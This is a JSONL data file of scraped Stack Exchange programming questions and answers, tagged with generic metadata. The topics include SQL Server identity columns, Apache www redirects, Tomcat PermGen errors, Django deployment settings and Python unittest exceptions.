"https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:58.340423"}
{"id": "hf_e6e2c065013b", "question": "<p>If the major axis of the ellipse is vertical or horizontal, it's easy to calculate the bounding box, but what about when the ellipse is rotated?</p>\n\n<p>The only way I can think of so far is to calculate all the points around the perimeter and find the max/min x and y values. It seems like there should be a simpler way.</p>\n\n<p>If there's a function (in the mathematical sense) that describes an ellipse at an arbitrary angle, then I could use its derivative to find points where the slope is zero or undefined, but I can't seem to find one.</p>\n\n<p><strong>Edit: to clarify, I need the axis-aligned bounding box, i.e. it should not be rotated with the ellipse, but stay aligned with the x axis so transforming the bounding box won't work.</strong></p>\n", "question_body": "", "answer": "I think the most useful formula is this one. An ellipsis rotated from an angle phi from the origin has as equation:\nwhere (h,k) is the center, a and b the size of the major and minor axis and t varies from -pi to pi.\nFrom that, you should be able to derive for which t dx/dt or dy/dt goes to 0.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:58.507060"}
{"id": "hf_39e131992be9", "question": "<p>I want to create a list of columns in SQL Server 2005 that have identity columns and their corresponding table in T-SQL.</p>\n\n<p>Results would be something like:</p>\n\n<p>TableName, ColumnName</p>\n", "question_body": "", "answer": "sys.columns.is_identity = 1\ne.g.,\n```\n```\nselect o.name, c.name\nfrom sys.objects o inner join sys.columns c on o.object_id = c.object_id\nwhere c.is_identity = 1\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:58.543867"}
{"id": "hf_a39207025c39", "question": "<p>How do you connect to Oracle using PHP on MAC OS X?</p>\n", "question_body": "", "answer": "I would think OCI would be the way to go. PHP has a\nmodule\nfor it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:58.612708"}
{"id": "hf_41566608d402", "question": "<p>Say I have the following class</p>\n\n<pre><code>MyComponent : IMyComponent {\n  public MyComponent(int start_at) {...}\n}\n</code></pre>\n\n<p>I can register an instance of it with castle windsor via xml as follows</p>\n\n<pre><code>&lt;component id=\"sample\"  service=\"NS.IMyComponent, WindsorSample\" type=\"NS.MyComponent, WindsorSample\"&gt;  \n  &lt;parameters&gt;  \n    &lt;start_at&gt;1&lt;/start_at &gt;  \n  &lt;/parameters&gt;  \n&lt;/component&gt;  \n</code></pre>\n\n<p>How would I go about doing the exact same thing but in code?  (Notice, the constructor parameter)</p>\n", "question_body": "", "answer": "You need to pass in an IDictionary when you ask the container for the instance.\nYou'd use this Resolve overload of the IWindsorContainer:\n```\n```\nT Resolve<T>(IDictionary arguments)\n```\n```\nor the non generic one:\n```\n```\nobject Resolve(Type service, IDictionary arguments)\n```\n```\nSo, for example: (assuming container is an IWindsorContainer)\n```\n```\nIDictionary<string, object> values = new Dictionary<string, object>();\nvalues[\"start_at\"] = 1;\ncontainer.Resolve<IMyComponent>(values);\n```\n```\nNote that the key values in the dictionary are case sensitive.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:58.701329"}
{"id": "hf_2b505746a0d5", "question": "<p>I am about to move to SVN as my RCS of choice (after many years using CVS) and have a basic question...</p>\n\n<p>I have a number of shared projects - code that I want to use with lots of different projects.  Is it possible to 'link' these shared folders to the projects that need them, so checking out a project will also checkout the shared code?</p>\n\n<p>For example, suppose my repository looks like this:</p>\n\n<p>root<br>\n--project1<br>\n--project2<br>\n--shared<br>\n--smtp  </p>\n\n<p>When I checkout project1, I also want to checkout shared and smtp.</p>\n\n<p>Back in my CVS days I would of used a Unix symbolic link in one of the project folders, but as my new SVN repository won't necessarily be hosted on a Unix box, I can't do the same.</p>\n", "question_body": "", "answer": "SVN Externals are what you want to do. The SVN book explains it in great detail\nhere\n. That's one thing I love about SVN, the wonderful documentation.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:58.762118"}
{"id": "hf_49707de56dcb", "question": "<p>I am trying to build a dependency graph of tables based on the foreign keys between them.  This graph needs to start with an arbitrary table name as its root.  I could, given a table name look up the tables that reference it using the all_constraints view, then look up the tables that reference them, and so on, but this would be horrible inefficient.  I wrote a recursive query that does this for all tables, but when I add:</p>\n\n<pre><code>START WITH Table_Name=:tablename\n</code></pre>\n\n<p>It doesn't return the entire tree.</p>\n", "question_body": "", "answer": "Simplest way to do this is to copy all the FK info into a simple, 2-column (parent,child) table, and then use the following algorithm:\n```\n```\nwhile (rows left in that table)\n  list = rows where table name exists in child but not in parent\n  print list\n  remove list from rows\n```\n```\nthat's all. Basically, you first print and remove all the nodes that don't depend on anything. After that being done, some other nodes will get free and you can repeat process.\nP.S. Make sure you don't insert self-referencing tables in the initial list (child=parent)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:58.801863"}
{"id": "hf_ce02327bb177", "question": "<p>anyone have any experience using this?\nif so, is it worth while?</p>\n", "question_body": "", "answer": "JDB is incredibly difficult to use. Placing System.outs or using an IDE debugger will produce better results. And for the more interesting features (e.g. tracking threads, heap size, etc.), you can get the information graphically with the\nJConsole\ntool.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:58.837866"}
{"id": "hf_173538e9b932", "question": "<p>I am trying to build out a useful 3d game engine out of the Ogre3d rendering engine for mocking up some of the ideas i have come up with and have come to a bit of a crossroads. There are a number of scripting languages that are available and i was wondering if there were one or two that were vetted and had a proper following. </p>\n\n<p>LUA and Squirrel seem to be the more vetted, but im open to any and all. </p>\n\n<p>Optimally it would be best if there were a compiled form for the language for distribution and ease of loading.</p>\n", "question_body": "", "answer": "I'd go with Lua since writing bindings is extremely easy, the license is very friendly (MIT) and existing libraries also tend to be under said license. Scheme is also nice and easy to bind which is why it was chosen for the Gimp image editor for example. But Lua is simply great. World of Warcraft uses it, as a very high profile example. LuaJIT gives you native-compiled performance. It's\nless than an order of magnitude\nfrom pure C.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:58.861625"}
{"id": "hf_6852f78abfd6", "question": "<p>I am trying to validate user id's matching the example:</p>\n\n<pre><code>smith.jack or smith.jack.s\n</code></pre>\n\n<p>In other words, any number of non-whitespace characters (except dot), followed by exactly one dot, followed by any number of non-whitespace characters (except dot), optionally followed by exactly one dot followed by any number of non-whitespace characters (except dot).  I have come up with several variations that work fine except for allowing consecutive dots!  For example, the following Regex</p>\n\n<pre><code>^([\\S][^.]*[.]{1}[\\S][^.]*|[\\S][^.]*[.]{1}[\\S][^.]*[.]{1}[\\S][^.]*)$\n</code></pre>\n\n<p>matches \"smith.jack\" and \"smith.jack.s\" but also matches \"smith..jack\" \"smith..jack.s\" !  My gosh, it even likes a dot as a first character.  It seems like it would be so simple to code, but it isn't.  I am using .NET, btw.</p>\n\n<p>Frustrating.</p>\n", "question_body": "", "answer": "```\n```\n[^\\s.]+\\.[^\\s.]+(\\.[^\\s.]+)?\n```\n```\nBTW what you asked for allows \".\" and \"..\"", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:58.899094"}
{"id": "hf_eb40d6b227c7", "question": "<p>In ColdFusion, under Request Tuning in the administrator, how do I determine what is an optimal number (or at least a good guess) for the Maximum Number of Simultaneous Template Requests?</p>\n\n<p>Environment:<br/>\nCF8 Standard<br/>\nIIS 6<br/>\nWin2k3<br/>\nSQL2k5 on a separate box</p>\n", "question_body": "", "answer": "The way of finding the right number of requests is load testing.  That is, measuring changes in throughput under load when you vary the request number.  Any significant change would require retesting. But I suspect most folks are going to baulk at that amount of work.\nI think a good rule of thumb is about 8 threads per CPU (core).\nIn terms of efficiency, the lower the thread count (up to a point) the less swapping will be going on as the CPU processes your requests.  If your pages execute very quickly then a lower number of requests is optimal.\nIf you have longer running requests, and especially if you have requests that are waiting on third-parties (like a database) then increasing the number of working threads will improve your throughput.  That is, if your CPU is not tied up processing stuff you can afford to have more simultaneous requests working on the tasks at hand.\nAlthough its a little bit dated, many of the principles on request tuning in Grant Straker's book on\nCF Performance & Troubleshooting\nwould be worthwhile.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:58.922759"}
{"id": "hf_bcdeb13ee618", "question": "<p>Is it possible to set the title of a page when it's simply a loaded SWF?</p>\n", "question_body": "", "answer": "I would think you would be able to do it.  You would have to access the javascript DOM.\nA couple links that may steer you down the correct path..\nhttp://homepage.ntlworld.com/kayseycarvey/document2.html\nhttp://www.permadi.com/tutorial/flashjscommand/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:58.946791"}
{"id": "hf_98657e86bc4d", "question": "<p>Is an opensource/commercial tool/framework, available for automated web app testing in Google Chrome browser on Windows XP / Vista? ( An alpha/beta Tool is also OK)</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "Selenium supports Chrome pretty much out of the box because it works by injecting javascript in the web page.\nhttp://selenium-rc.openqa.org/\nWebdriver has an early version of Chrome driver.\nhttp://code.google.com/p/webdriver/\nBoth are open source and works on Windows.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:58.970574"}
{"id": "hf_47ef828727ce", "question": "<p>In Notepad++, I was writing a JavaScript file and something didn't work: an alert had to be shown when a button was clicked, but it wasn't working.</p>\n\n<p>I has used the auto-complete plugin provided with Notepad++, which presented me with <code>onClick</code>.</p>\n\n<p>When I changed the capital <code>C</code> to a small <code>c</code>, it did work.</p>\n\n<p>So first of all, when looking at the functions in the auto-completion, I noticed a lot of functions using capitals.</p>\n\n<p>But when you change <code>getElementById</code> to <code>getelementbyid</code>, you also get an error, and to make matters worse, my handbook from school writes all the stuff with capital letters but the solutions are all done in small letters.</p>\n\n<p>So what is it with JavaScript and its selective nature towards which functions can have capital letters in them and which can't?</p>\n", "question_body": "", "answer": "Javascript is\nALWAYS\ncase-sensitive, html is not.\nIt sounds as thought you are talking about whether html attributes (e.g. onclick) are or are not case-sensitive.  The answer is that the attributes are not case sensitive, but the way that we access them through the DOM is. \nSo, you can do this:\n```\n```\n<div id='divYo' onClick=\"alert('yo!');\">Say Yo</div> // Upper-case 'C'\n```\n```\nor:\n```\n```\n<div id='divYo' onclick=\"alert('yo!');\">Say Yo</div> // Lower-case 'C'\n```\n```\nbut through the DOM you must use the correct case. So this works:\n```\n```\ngetElementById('divYo').onclick = function() { alert('yo!'); }; // Lower-case 'C'\n```\n```\nbut you cannot do this:\n```\n```\ngetElementById('divYo').onClick = function() { alert('yo!'); }; // Upper-case 'C'\n```\n```\nEDIT: CMS makes a great point that most DOM methods and properties are in\ncamelCase\n.  The one exception that comes to mind are event handler properties and these are generally accepted to be\nthe wrong way to attach to events\nanyway. Prefer using\n```\naddEventListener\n```\nas in:\n```\n```\ndocument.getElementById('divYo').addEventListener('click', modifyText, false);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:59.006216"}
{"id": "hf_2f9272cd554d", "question": "<p>I found a question here about blogs on software development, but I would like to know which blogs on software testing this community reads.</p>\n\n<p>If you just have to recommend more than one blog, post each one in separate answer, so others can vote on specific blog. :)</p>\n\n<p>Thanks!</p>\n\n<p><strong>Edit:</strong> I am not interested in sites that aggregate other blogs, because as @Alan said (in his answer) there are both good and not so good blogs there.</p>\n", "question_body": "", "answer": "My\nblog\n, of course, is quite interesting - but will not be to everyone. TestingReflections is nice because it aggregates a bunch of random test blogs, but the problem is that it aggregates the bad with the good. Many of the posts that make it to the site don't have much use.\nIt also depends on what you're looking for - are you looking for a blog on testing philosophy, one about functional test techniques, something about writing automated tests, something all-encompassing, or something different?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:59.054688"}
{"id": "hf_71b00b2ae690", "question": "<p>I'd like to populate an arraylist by specifying a list of values just like I would an integer array, but am unsure of how to do so without repeated calls to the \"add\" method.</p>\n\n<p>For example, I want to assign { 1, 2, 3, \"string1\", \"string2\" } to an arraylist.  I know for  other arrays you can make the assignment like:</p>\n\n<pre><code>int[] IntArray = {1,2,3};\n</code></pre>\n\n<p>Is there a similar way to do this for an arraylist?  I tried the addrange method but the curly brace method doesn't implement the ICollection interface.</p>\n", "question_body": "", "answer": "Array list has ctor which accepts ICollection, which is implemented by the Array class.\n```\n```\nobject[] myArray = new object[] {1,2,3,\"string1\",\"string2\"};\nArrayList myArrayList = new ArrayList(myArray);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:59.078490"}
{"id": "hf_8f1f9e25c84e", "question": "<p>For various reasons, such as cookies, SEO, and to keep things simple, I would like to make apache automatically redirect any requests for <a href=\"http://www.foobar.com/anything\" rel=\"nofollow noreferrer\">http://www.foobar.com/anything</a> to <a href=\"http://foobar.com/anything\" rel=\"nofollow noreferrer\">http://foobar.com/anything</a>. The best I could come up with is a mod_rewrite-based monstrosity, is there some easy simple way to tell it \"Redirect all requests for domain ABC to XYZ\"? </p>\n\n<p>PS: I found <a href=\"https://stackoverflow.com/questions/50931/redirecting-non-www-url-to-www\">this somewhat related question</a>, but it's for IIS and does the opposite of what I want. Also it's still complex.</p>\n", "question_body": "", "answer": "```\n```\nRewriteEngine On\nRewriteCond %{HTTP_HOST} ^www.domain.com$ [NC]\nRewriteRule ^(.*)$ http://domain.com/$1 [R=301,L]\n```\n```\nThat should do the trick.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:59.151815"}
{"id": "hf_ab9b4b965e88", "question": "<p>It can be either at compile time or at run-time using a config file.  Is there a more elegant way than simple (and many) if statements?</p>\n\n<p>I am targeting especially sets of UI controls that comes for a particular feature.</p>\n", "question_body": "", "answer": "Unless your program must squeeze out 100% performance, do it with a config file.  It will keep your code cleaner.\nIf one option changes many parts of code, don't write many conditionals, write one conditional that picks which class you delegate to.  For instance if a preference picks TCP versus UDP, have your conditional instantiate a TcpProvider or UdpProvider which the rest of your code uses with minimal muss or fuss.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:59.211251"}
{"id": "hf_9d22e73bbcc5", "question": "<p>What update rate should I run my fixed-rate game logic at?</p>\n\n<p>I've used 60 updates per second in the past, but that's hard because it's not an even number of updates per second (16.666666). My current games uses 100, but that seems like overkill for most things.</p>\n", "question_body": "", "answer": "Bear in mind that unless your code is measured down to the cycle, not each game loop will take the same number of milliseconds to complete - so 16.6666 being irrational is not an issue really as you will need to time and compensate anyway. Besides it's not 16.6666 updates per second, but the average number of milliseconds your game loop should be targeting.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:59.246456"}
{"id": "hf_7872c1b4b44e", "question": "<p>I seem to make this mistake every time I set up a new development box. Is there a way to make sure you don't have to manually assign rights for the ASPNET user? I usually install .Net then IIS, then Visual Studio but it seems I still have to manually assign rights to the ASPNET user to get everything running correctly. Is my install order wrong?</p>\n", "question_body": "", "answer": "Install IIS, then .NET.  The .NET installation will automatically register the needed things with IIS.\nIf you install .NET first, run this:\n```\n```\n%windir%\\Microsoft.NET\\Framework\\v2.0.50727\\aspnet_regiis.exe -i\n```\n```\nto run the registration parts, and\n```\n```\n%windir%\\Microsoft.NET\\Framework\\v2.0.50727\\aspnet_regiis.exe -ga userA\n```\n```\nto set up the security rights for userA", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:59.269513"}
{"id": "hf_8f221f3a56ce", "question": "<p>I just started using the WPF WebBrowser that is included in Net 3.5 SP1.  I built my setup project (which I have been using prior to moving to 3.5 SP1) and installed it on a test machine but the WebBrowser was not available.</p>\n\n<p>What must I do to be sure that the setup.exe/msi combination checks for and installs SP1?</p>\n", "question_body": "", "answer": "On my way to answering my own question.  Double-clicking on the Microsoft .net Framework in the Detected dependencies one can choose the version.\nNow the question is which is appropriate,\n3.5.30729\nor\n3.5 SP1 Client\n?\nEDIT:\n3.5.30729 works.  Any ideas of the difference between the two?\nEDIT:\nDouble-clicking on the .net Framework above shows .NET Framework as a Launch condition.  This is where I changed the version.  (I'd add a screenshot, but I don't have one at a URL, only on my desktop.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:59.308079"}
{"id": "hf_409bdd0902a9", "question": "<p>When a system has N tiers, and when using an ORM, how do you send loaded entities across the tiers ?</p>\n\n<p>Do you use DTO ?</p>\n\n<p>When DTO are not used and the entities are directly sent, how do you protect againt the uninitialized lazy loaded relationship errors ?</p>\n\n<p>Note : this is not a \"should N tiers be used ?\" question. I assume that the system already has N tiers.</p>\n", "question_body": "", "answer": "Well I don't know if there is a better way, but when we use Hibernate we just turn lazy loading off so that it loads everything.  It obviously costs more to do this, but I wasn't sure how to get away from the lazy loading methods that Hibernate would create.\nIf a Containers has sets of data that are not used often then they will not be loaded and it is up to the requesting UI Form to call it and send it for update.  (We built update classes to pass all the information together)\nIn the case of UI Forms that loaded lots of Containers we just make special classes and fill in what we need for them.  They are sort of read-only containers that aren't used for persistence.\nThere may be better ways.. but I am learning :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:59.356061"}
{"id": "hf_79c49fcce9a6", "question": "<p>The title should say it all, then I can solidify 2 more ticks on the Joel test. </p>\n\n<p>I've implemented build automation using a makefile and a python script already and I understand the basics and the options. </p>\n\n<p>But how can I, the new guy who reads the blogs, convince my cohort of its inherent efficacy?</p>\n", "question_body": "", "answer": "Ask for forgiveness, instead of permission.\nGet it working in private (which it looks like you have) and then demonstrate its advantages.\nOne thing that always gets people is using CruiseControl's Tray utility - people love it when they can see, through their system tray, that the build succeeded. (this is assuming you're in a Windows environment, that CruiseControl will work with your existing systems, etc.)\nNOTE: If asking for forgiveness instead of permission will result in instant termination, you might not want to do the above. You might also want to look for work somewhere else. Your mileage may vary.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:59.381288"}
{"id": "hf_7267ddf283bb", "question": "<p>I'd like know what people think about using RAISERROR in stored procedures to pass back user messages (i.e. business related messages, not error messages) to the application.  </p>\n\n<p>Some of the senior developers in my firm have been using this method and catching the SqlException in our C# code to pick up the messages and display them to the user.  I am not happy with this method and would like to know how other people deal with these types of user messages from stored procs.</p>\n", "question_body": "", "answer": "If it can't be checked/caught earlier it might be difficult to do anything else.\nI've had to write a raiseerror in a procedure I wrote and used as a constraint on inserting/updating a table because it was the 'last stop' for the data and I had to check it there.\nI think in general if you are getting errors back from the DB.. its a pain in the butt and harder to give 'nice' feedback to the user without a lot of effort, but sometimes you just don't know until you insert/update :P", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:59.418317"}
{"id": "hf_34b50ebf38fb", "question": "<p>Recently I ran into this error in my web application:</p>\n\n<blockquote>\n  <p>java.lang.OutOfMemoryError: PermGen space</p>\n</blockquote>\n\n<p>It's a typical Hibernate/JPA + IceFaces/JSF application running on Tomcat 6 and JDK 1.6.\nApparently this can occur after redeploying an application a few times.</p>\n\n<p>What causes it and what can be done to avoid it?\nHow do I fix the problem?</p>\n", "question_body": "", "answer": "The solution was to add these flags to JVM command line when Tomcat is started:\n```\n```\n-XX:+CMSClassUnloadingEnabled -XX:+CMSPermGenSweepingEnabled\n```\n```\nYou can do that by shutting down the tomcat service, then going into the Tomcat/bin directory and running tomcat6w.exe. Under the \"Java\" tab, add the arguments to the \"Java Options\" box. Click \"OK\" and then restart the service.\nIf you get an error\nthe specified service does not exist as an installed service\nyou should run:\n```\n```\ntomcat6w //ES//servicename\n```\n```\nwhere\nservicename\nis the name of the server as viewed in services.msc\nSource: orx's comment on\nEric's Agile Answers\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:59.442602"}
{"id": "hf_c575510e82af", "question": "<p>I tend to use <a href=\"http://en.wikipedia.org/wiki/SQLite\" rel=\"noreferrer\">SQLite</a> when doing <a href=\"http://en.wikipedia.org/wiki/Django_(web_framework)\" rel=\"noreferrer\">Django</a>\ndevelopment, but on a live server something more robust is\noften needed (<a href=\"http://en.wikipedia.org/wiki/MySQL\" rel=\"noreferrer\">MySQL</a>/<a href=\"http://en.wikipedia.org/wiki/PostgreSQL\" rel=\"noreferrer\">PostgreSQL</a>, for example).\nInvariably, there are other changes to make to the Django\nsettings as well: different logging locations / intensities,\nmedia paths, etc.</p>\n\n<p>How do you manage all these changes to make deployment a\nsimple, automated process?</p>\n", "question_body": "", "answer": "Update:\ndjango-configurations\nhas been released which is probably a better option for most people than doing it manually.\nIf you would prefer to do things manually, my earlier answer still applies:\nI have multiple settings files.\n```\nsettings_local.py\n```\n- host-specific configuration, such as database name, file paths, etc.\n```\nsettings_development.py\n```\n- configuration used for development, e.g.\n```\nDEBUG = True\n```\n.\n```\nsettings_production.py\n```\n- configuration used for production, e.g.\n```\nSERVER_EMAIL\n```\n.\nI tie these all together with a\n```\nsettings.py\n```\nfile that firstly imports\n```\nsettings_local.py\n```\n, and then one of the other two.  It decides which to load by two settings inside\n```\nsettings_local.py\n```\n-\n```\nDEVELOPMENT_HOSTS\n```\nand\n```\nPRODUCTION_HOSTS\n```\n.\n```\nsettings.py\n```\ncalls\n```\nplatform.node()\n```\nto find the hostname of the machine it is running on, and then looks for that hostname in the lists, and loads the second settings file depending on which list it finds the hostname in.\nThat way, the only thing you really need to worry about is keeping the\n```\nsettings_local.py\n```\nfile up to date with the host-specific configuration, and everything else is handled automatically.\nCheck out an example\nhere\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:59.491583"}
{"id": "hf_cd6187790220", "question": "<p>I'm making a small web application in Seaside. I have a login component, and after the user logs in I want to send along a cookie when the next component renders itself. Is there a way to get at the object handling the response so I can add something to the headers it will output?</p>\n\n<p>I'm trying to avoid using WASession>>redirectWithCookies since it seems pretty kludgey to redirect only because I want to set a cookie.</p>\n\n<p>Is there another way that already exist to add a cookie that will go out on the next response?</p>\n", "question_body": "", "answer": "I've just looked into this in depth, and the answer seems to be no.  Specifically, there's no way to get at the response from the WARenderCanvas or anything it can access (it holds onto the WARenderingContext, which holds onto the WAHtmlStreamDocument, which holds onto the response's\nstream\nbut not the response itself).  I think it would be reasonable to give the context access to the current response, precisely to be able to set headers on it, but you asked if there was already a way, so: no.\nThat said, Seaside does a lot of extra redirecting, and it doesn't seem to have much impact on the user experience, so maybe the thing to do is to stop worrying about it seeming kludgey and go with the flow of the API that's already there :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:59.562969"}
{"id": "hf_8b6cce2cafbe", "question": "<p>I'm currently generating an 8-character pseudo-random uppercase string for \"A\" .. \"Z\":</p>\n\n<pre><code>value = \"\"; 8.times{value  &lt;&lt; (65 + rand(25)).chr}\n</code></pre>\n\n<p>but it doesn't look clean, and it can't be passed as an argument since it isn't a single statement.  To get a mixed-case string \"a\" .. \"z\" plus \"A\" .. \"Z\", I changed it to:</p>\n\n<pre><code>value = \"\"; 8.times{value &lt;&lt; ((rand(2)==1?65:97) + rand(25)).chr}\n</code></pre>\n\n<p>but it looks like trash.</p>\n\n<p>Does anyone have a better method?</p>\n", "question_body": "", "answer": "To make your first into one statement:\n```\n```\n(0...8).collect { |n| value  << (65 + rand(25)).chr }.join()\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:59.586951"}
{"id": "hf_ca74be665ac6", "question": "<p>I have a class:</p>\n\n<pre><code>class MyClass:\ndef __init__(self, foo):\n    if foo != 1:\n        raise Error(\"foo is not equal to 1!\")\n</code></pre>\n\n<p>and a unit test that is supposed to make sure the incorrect arg passed to the constructor properly raises an error:</p>\n\n<pre><code>def testInsufficientArgs(self):\n    foo = 0\n    self.assertRaises((Error), myClass = MyClass(Error, foo))\n</code></pre>\n\n<p>But I get...</p>\n\n<pre><code>NameError: global name 'Error' is not defined\n</code></pre>\n\n<p>Why? Where should I be defining this Error object? I thought it was built-in as a default exception type, no?</p>\n", "question_body": "", "answer": "'Error' in this example could be any exception object. I think perhaps you have read a code example that used it as a metasyntatic placeholder to mean, \"The Appropriate Exception Class\".\nThe baseclass of all exceptions is called 'Exception', and most of its subclasses are descriptive names of the type of error involved, such as 'OSError', 'ValueError', 'NameError', 'TypeError'.\nIn this case, the appropriate error is 'ValueError' (the value of foo was wrong, therefore a ValueError). I would recommend replacing 'Error' with 'ValueError' in your script.\nHere is a complete version of the code you are trying to write, I'm duplicating everything because you have a weird keyword argument in your original example that you seem to be conflating with an assignment, and I'm using the 'failUnless' function name because that's the non-aliased name of the function:\n```\n```\nclass MyClass:\n    def __init__(self, foo):\n        if foo != 1:\n            raise ValueError(\"foo is not equal to 1!\")\n\nimport unittest\nclass TestFoo(unittest.TestCase):\n    def testInsufficientArgs(self):\n        foo = 0\n        self.failUnlessRaises(ValueError, MyClass, foo)\n\nif __name__ == '__main__':\n    unittest.main()\n```\n```\nThe output is:\n```\n```\n.\n----------------------------------------------------------------------\nRan 1 test in 0.007s\n\nOK\n```\n```\nThere is a flaw in the unit testing library 'unittest' that other unit testing frameworks fix. You'll note that it is impossible to gain access to the exception object from the calling context. If you want to fix this, you'll have to redefine that method in a subclass of UnitTest:\nThis is an example of it in use:\n```\n```\nclass TestFoo(unittest.TestCase):\n    def failUnlessRaises(self, excClass, callableObj, *args, 